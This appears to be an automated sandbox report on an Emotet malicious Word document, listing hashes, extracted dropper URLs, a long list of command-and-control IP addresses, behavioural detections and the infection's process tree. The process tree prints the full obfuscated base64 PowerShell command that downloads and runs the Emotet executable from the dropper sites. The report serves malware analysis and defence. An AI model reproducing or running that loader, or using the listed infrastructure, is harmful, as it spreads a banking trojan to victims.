emotet | 1d32d2cda2a00af5d1884ede158d330014f6b5cb5d0f081b50e70b45a4ea17ca

General

Target
emotet_e1_1d32d2cda2a00af5d1884ede158d330014f6b5cb5d0f081b50e70b45a4ea17ca_2020-08-20__152144._doc.doc
Size 237KB
Sample200820-22bk9fw8hs
SHA256 1d32d2cda2a00af5d1884ede158d330014f6b5cb5d0f081b50e70b45a4ea17ca
MD5 5f8c20f81e53e028aba981091a9576c0
SHA1 97b0395eaa38080f66ae489974e9cf7c7f0b2f6a
SHA512 ec157258bcb7b644b7d6aa413970cdd4cacbcaecf11a172ad527b743b17e196cbcf299a3043bbcb52f58e5bb52814c4fab686e79509656aab3077202029555aa
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.yikeyuedu.com/wp-includes/Zf/
exe.dropper
https://ywqzz.com/wp-includes/U/
exe.dropper
https://masteringroi.com/roiroi/theme/60/
exe.dropper
http://dootnaturals.com/wp-content/Xq/
exe.dropper
https://colco-seminare.de/WordPress_05/H/
exe.dropper
http://bautech-nickels.de/angebote/9/
exe.dropper
http://conceptis.de/cgi-bin/m/

Extracted

Family

emotet

C2

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	964	3804	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1172-13-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/1172-13-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/3736-16-0x00000000021A0000-0x00000000021AC000-memory.dmp	emotet
behavioral2/memory/3736-16-0x00000000021A0000-0x00000000021AC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	964	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1172	Aoeaitgg6.exe
3736	capisp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msaudite\capisp.exe	Aoeaitgg6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
964	powersheLL.exe
964	powersheLL.exe
964	powersheLL.exe
3736	capisp.exe
3736	capisp.exe
3736	capisp.exe
3736	capisp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	964	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
1172	Aoeaitgg6.exe
1172	Aoeaitgg6.exe
3736	capisp.exe
3736	capisp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 964 wrote to memory of 1172	964	powersheLL.exe	75
PID 964 wrote to memory of 1172	964	powersheLL.exe	75
PID 964 wrote to memory of 1172	964	powersheLL.exe	75
PID 1172 wrote to memory of 3736	1172	Aoeaitgg6.exe	76
PID 1172 wrote to memory of 3736	1172	Aoeaitgg6.exe	76
PID 1172 wrote to memory of 3736	1172	Aoeaitgg6.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1d32d2cda2a00af5d1884ede158d330014f6b5cb5d0f081b50e70b45a4ea17ca_2020-08-20__152144._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAHkAaABjAGMAZQA4AD0AKAAnAE0AaAB4ACcAKwAnAGMAZQBnADgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwAbwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAcgBgAGkAdABZAHAAcgBPAGAAVABPAGMATwBsACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAJwArACcAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAFMAbQA3ADAAbABhAHUAIAA9ACAAKAAnAEEAbwBlAGEAJwArACcAaQB0AGcAJwArACcAZwA2ACcAKQA7ACQAQgBvAHYAeQBfAGgANQA9ACgAJwBLACcAKwAnADQAdAB3ADcAagA4ACcAKQA7ACQASgA0AHYAOAB5ADIAaAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAcgA0AGcATwBmAGYAaQAnACsAJwBjAGUAJwArACcAMgAwACcAKwAnADEAOQByADQAZwAnACkAIAAgAC0AcgBlAFAAbABhAEMARQAgACgAWwBDAGgAYQBSAF0AMQAxADQAKwBbAEMAaABhAFIAXQA1ADIAKwBbAEMAaABhAFIAXQAxADAAMwApACwAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFMAbQA3ADAAbABhAHUAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEsAcQBkAGYAZgB0AHAAPQAoACcAWAAnACsAJwA4ADgAJwArACcAdQA0AF8AcgAnACkAOwAkAFAAMQBuAHMANAA1AHAAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFgAYwBvADMAMQBxAHcAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoALwAvAHcAJwArACcAdwAnACsAJwB3AC4AeQAnACsAJwBpACcAKwAnAGsAJwArACcAZQB5AHUAZQBkAHUAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKwAnAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAFoAZgAvACoAaAB0AHQAcABzADoALwAvAHkAdwBxAHoAegAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwAC0AaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAZQAnACsAJwBzAC8AVQAvACoAaAB0AHQAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAnAG0AYQBzACcAKwAnAHQAZQAnACsAJwByAGkAJwArACcAbgBnAHIAbwAnACsAJwBpAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwByAG8AaQByAG8AaQAvAHQAaAAnACsAJwBlACcAKwAnAG0AJwArACcAZQAnACsAJwAvADYAMAAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBkAG8AbwB0ACcAKwAnAG4AJwArACcAYQAnACsAJwB0AHUAcgBhACcAKwAnAGwAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwAnACsAJwBvAG4AdABlAG4AdAAnACsAJwAvAFgAcQAvACcAKwAnACoAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvAGMAbwBsACcAKwAnAGMAbwAtAHMAZQBtAGkAbgBhACcAKwAnAHIAZQAuAGQAJwArACcAZQAvAFcAJwArACcAbwAnACsAJwByAGQAUAByACcAKwAnAGUAcwAnACsAJwBzAF8AMAA1ACcAKwAnAC8ASAAvACoAJwArACcAaAB0AHQAJwArACcAcAA6AC8ALwBiAGEAdQB0AGUAYwBoAC0AbgBpAGMAawBlAGwAJwArACcAcwAuAGQAZQAvAGEAbgAnACsAJwBnACcAKwAnAGUAJwArACcAYgBvAHQAZQAnACsAJwAvADkALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwAnACsAJwBvAG4AYwBlAHAAdAAnACsAJwBpACcAKwAnAHMALgBkAGUALwBjAGcAaQAtACcAKwAnAGIAaQBuACcAKwAnAC8AbQAvACcAKQAuACIAUwBQAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGAF8AYwB0AGcANQBpAD0AKAAnAEcAZwAzAGQAJwArACcAbABwAHQAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBvAF8AOQBxADIAegAgAGkAbgAgACQAWABjAG8AMwAxAHEAdwApAHsAdAByAHkAewAkAFAAMQBuAHMANAA1AHAALgAiAEQATwBXAG4ATABgAG8AYQBgAGQAZgBJAGwAZQAiACgAJABGAG8AXwA5AHEAMgB6ACwAIAAkAEoANAB2ADgAeQAyAGgAKQA7ACQAQwBuAGUAMQBjADEAMAA9ACgAJwBZACcAKwAnAHUAMgBjAGsAJwArACcAagBmACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABKADQAdgA4AHkAMgBoACkALgAiAEwAYABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADgAMgAwADgAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQASgA0AHYAOAB5ADIAaAApADsAJABOAG8AOABoAG4AegB3AD0AKAAnAFIAOAAnACsAJwAwADIAJwArACcAbQAxAHMAJwApADsAYgByAGUAYQBrADsAJABCAHIAcAA3ADIAMABzAD0AKAAnAE8AJwArACcAdgB4AGQAZgBmAF8AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADMANQBiAHcAeQAxAD0AKAAnAE4AcwBvACcAKwAnADQAXwAyAHgAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964
- C:\Users\Admin\AppData\Local\Temp\Office2019\Aoeaitgg6.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Aoeaitgg6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\SysWOW64\msaudite\capisp.exe
    "C:\Windows\SysWOW64\msaudite\capisp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/964-8-0x0000020A4D500000-0x0000020A4D501000-memory.dmp

Download

memory/964-7-0x00007FFA14470000-0x00007FFA14E5C000-memory.dmp

Download

memory/964-9-0x0000020A4D6B0000-0x0000020A4D6B1000-memory.dmp

Download

memory/1172-13-0x00000000006D0000-0x00000000006DC000-memory.dmp

Download

memory/3736-16-0x00000000021A0000-0x00000000021AC000-memory.dmp

Download

memory/3904-6-0x000001BB8BCAA000-0x000001BB8BCAF000-memory.dmp

Download

memory/3904-0-0x00007FFA1C590000-0x00007FFA1CC56000-memory.dmp

Download

memory/3904-5-0x000001BB8E2D6000-0x000001BB8E2D9000-memory.dmp

Download

memory/3904-4-0x000001BB8E2D6000-0x000001BB8E2D9000-memory.dmp

Download

memory/3904-3-0x000001BB8E11A000-0x000001BB8E12B000-memory.dmp

Download

memory/3904-2-0x000001BB8E11A000-0x000001BB8E12B000-memory.dmp

Download

memory/3904-1-0x000001BB8E11A000-0x000001BB8E12B000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads